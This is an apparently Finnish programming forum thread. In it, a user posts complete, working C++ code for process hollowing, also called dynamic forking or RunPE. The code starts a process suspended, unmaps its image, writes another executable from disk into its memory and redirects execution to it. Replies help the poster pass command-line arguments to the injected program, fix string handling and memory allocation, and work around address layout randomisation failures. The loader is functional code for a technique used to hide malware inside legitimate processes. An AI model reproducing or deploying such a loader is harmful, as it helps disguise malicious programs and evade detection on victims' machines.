En suomenkielistä nimeä tuolle keksinyt, joten olkoon nyt noin. Eli siis, Dynamic Forking tai Process Hollowing on... Meinasin alkaa selittämään, mutta täältä voit lukea mitä nuo termit tarkoittaa: http://www.autosectools.com/process-hollowing.pdf
Alkasin tuossa testailemaan että miten tuo käytännössä toimii, ja nyt koodini näyttää tältä:
#include <Windows.h> typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); LPVOID FileToMem(LPCSTR szFileName) { HANDLE hFile; DWORD dwRead; DWORD dwSize; LPVOID pBuffer = NULL; hFile = CreateFileA(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile) { dwSize = GetFileSize(hFile, NULL); if (dwSize > 0) { pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pBuffer) { SetFilePointer(hFile, NULL, NULL, FILE_BEGIN); ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL); } } CloseHandle(hFile); } return pBuffer; } void ExecFile(LPSTR szFilePath, LPVOID pFile) { PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INH; PIMAGE_SECTION_HEADER ISH; PROCESS_INFORMATION PI; STARTUPINFOA SI; PCONTEXT CTX; PDWORD dwImageBase; NtUnmapViewOfSection xNtUnmapViewOfSection; LPVOID pImageBase; int Count; IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&SI, sizeof(SI)); RtlZeroMemory(&PI, sizeof(PI)); if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); } pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) { ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); } } } } } VirtualFree(pFile, 0, MEM_RELEASE); } int main() { LPVOID pFile; TCHAR szFilePath[1024]; pFile = FileToMem("C:\\Users\\admin\\Desktop\\Tiedosto.exe"); if (pFile) { GetModuleFileNameA(0, LPSTR(szFilePath), 1024); ExecFile(LPSTR(szFilePath), pFile); } Sleep(INFINITE); return 0; }
Kivastihan se toimii, mutta alkasin miettimään että miten saan käynnistettyä tuon "Tiedosto.exe":n komentorivi parametreillä?
CreateProcessA(szFilePath, "PARAMETRIT", ym, ym.);
ei toimi, koska ne parametrit eivät mene oikeaan paikkaan.
Onko siis ideoita miten saan tämän toimimaan? Koitin tämän kanssa taistella koko viimeyön, mutta tuloksetta. Josko täällä joku tietäis miten saan tuon toimimaan?
Täällä vielä lisätietoa kyseisestä aiheesta: http://www.codereversing.com/blog/?p=65
Siellä luki että kun antaa parametrin tuolle "lpCmdLine", niin siellä pitää olla sen ohjelman nimi. Eg. "Tiedosto.exe -param1 -param2", mutta testattu on eikä toimi.
CreateProcessA(szFilePath, "parametrit", ...)
Tämä toimii, jos haet parametrit ohjelmassasi GetCommandLine
-API:lla. Jos haluat vastaanottaa parametrit WinMainin lpCmdLinellä, niin kutsu CreateProcessia seuraavasti:
CreateProcessA(NULL, szFilePath + " parametrit", ...)
Koitin näin:
LPSTR TestPar = "-TestiParams"; if (CreateProcessA(NULL, szFilePath + TestPar, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
Mutta ei toiminut. Antaa errorin: "expression must have integral or unscoped enum type" eli ei toimi suoraan noin. Koitin tuota erroria googlesta ja stackoverflowista etsiä mutten löytänyt tähän sopivaa vastausta.
Eli mitäköhän kannattais kokeilla seuraavaksi?
Tarkennan vielä että ne parametrit tulisi saada "uudelle" prosessille joka luetaan kiintolevyltä, ei käynnistysprosessille/sille joka on luotu "CREATE_SUSPENDED" -tilassa.
Hankalahko selittää, kun en oikein tiedä suomenkielisiä termejä noille :D
Deffin koodi oli mitä ilmeisimmin vain ideaa selittävä pseudokoodi. Et tietenkään voi oikeasti yhdistää LPSTR-tekstejä +-operaattorilla, vaan tarvitset esimerkiksi string-luokkaa tai muita tekstinkäsittelyfunktioita.
Metabolix kirjoitti:
Deffin koodi oli mitä ilmeisimmin vain ideaa selittävä pseudokoodi. Et tietenkään voi oikeasti yhdistää LPSTR-tekstejä +-operaattorilla, vaan tarvitset esimerkiksi string-luokkaa tai muita tekstinkäsittelyfunktioita.
Joh, mutta szFilePath on oma kansio\nimi.exe, joten koitin szFilePath + "args" sijaan "Kansio\\Nimi.exe -arg1 -arg2".
En saanut toimimaan. Ja saanhan se argumentit tuonne laitettua, mutta ne menee väärään paikkaan, kun pitäis saada argumentit sille tiedostolle mikä ajetaan 'muistissa', jos näin voi sanoa.
:S
Rox kirjoitti:
"Kansio\\Nimi.exe -arg1 -arg2".
Tämän pitäisi toimia toisena parametrina. CreateProcessin ensimmäisen parametrin pitää olla NULL
. Kuinka yrität lukea komentoriviparametrit?
Kokeilin itse Windows XP:ssä näillä koodeilla:
fork.c
tiedosto.c
Sain toimimaan. Mutta en laittanut ekaksi parametriksi NULL
, vaan laitoin "szFilePath, "C:\\KANSIO\\NIMI.EXE -arg1 -arg2", etc.
Kiitos kuitenkin. :)
Edit: Koitinpas sitten vielä tällaista:
LPSTR Asd = " -arg1 -arg2"; LPSTR asd2; strcpy(asd2,szFilePath); strcpy(asd2,Asd); if (CreateProcessA(szFilePath, asd2, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
Mutta ei toiminut. Miten saan sen kansion siihen automaattisesti, parametrien kera?
Perusasiat! Et ole varannut tekstille asd2 muistia, joten siihen kopiointi ei varmasti toimi. Varaa ensin mallocilla siihen strlen(Asd)+strlen(szFilePath)+1 tavua.
Ohjelma epäonnistuu satunnaisesti (VirtualAllocEx palauttaa 487 = ERROR_INVALID_ADDRESS), syynä näyttäisi olevan se, että kohta INH->OptionalHeader.ImageBase on joskus pinolle varattua tilaa.
Ei taida olla yhteensopiva ASLR:n (address space layout randomization) kanssa.
@MetaBolix, Täytyypä koittaa kun taas avaan ton projektin.
@hohoo: Ainakin Visual Studiossa sen saa otettua pois käytöstä, auttaakohan jos otan sen vaan pois.. Tähän saakka on toki toiminut ihan hyvin.
Aihe on jo aika vanha, joten et voi enää vastata siihen.